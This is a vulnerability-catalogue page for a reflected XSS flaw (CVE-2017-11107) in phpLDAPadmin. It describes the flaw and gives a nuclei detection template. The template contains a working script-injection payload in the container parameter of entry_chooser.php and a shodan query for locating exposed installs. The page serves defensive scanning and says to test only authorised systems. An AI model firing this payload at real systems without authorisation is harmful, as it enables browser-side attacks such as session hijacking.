Browse / CVEs / CVE-2017-11107
CVE-2017-11107· phpldapadmin project / phpldapadmin· CWE-79
phpLDAPadmin <= 1.2.3 - Reflected XSS
mediumseverity
6.1CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it
phpLDAPadmin <= 1.2.3 contains a reflected cross-site scripting caused by unsanitized input in htdocs/entry_chooser.php via the form, element, rdn, or container parameter, letting attackers execute malicious scripts in victim browsers, exploit requires sending crafted input.
Impact
Attackers can execute malicious scripts in victim browsers, potentially leading to session hijacking or defacement.
Fix
Update to the latest version of phpLDAPadmin where the vulnerability is fixed.
How to confirm it
Send: GET {{BaseURL}}/phpldapadmin/
Positive when: status_code == 200 and contains(body, "phpLDAPadmin")
Send: GET {{BaseURL}}/phpldapadmin/entry_chooser.php?container=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code == 200 and contains_all(body, "<script>alert(document.domain)</script>", "Entry Chooser")Run it with nuclei: nuclei -id CVE-2017-11107 -u <target>
The full check
id: CVE-2017-11107
info:
name: phpLDAPadmin <= 1.2.3 - Reflected XSS
author: 0x_Akoko
severity: medium
description: |
phpLDAPadmin <= 1.2.3 contains a reflected cross-site scripting caused by unsanitized input in htdocs/entry_chooser.php via the form, element, rdn, or container parameter, letting attackers execute malicious scripts in victim browsers, exploit requires sending crafted input.
impact: |
Attackers can execute malicious scripts in victim browsers, potentially leading to session hijacking or defacement.
remediation: |
Update to the latest version of phpLDAPadmin where the vulnerability is fixed.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2017-11107
- https://github.com/leenooks/phpLDAPadmin/issues/50
- https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=867719
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-11107
epss-score: 0.02069
epss-percentile: 0.81578
cwe-id: CWE-79
cpe: cpe:2.3:a:phpldapadmin_project:phpldapadmin:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: phpldapadmin_project
product: phpldapadmin
shodan-query: html:"phpLDAPadmin"
tags: cve,cve2017,phpldapadmin,xss,unauth,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/phpldapadmin/"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "phpLDAPadmin")'
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/phpldapadmin/entry_chooser.php?container=%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "<script>alert(document.domain)</script>", "Entry Chooser")'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2017-11107
- https://github.com/leenooks/phpLDAPadmin/issues/50
- https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=867719
Use this check only on systems you are authorised to test. Where the data comes from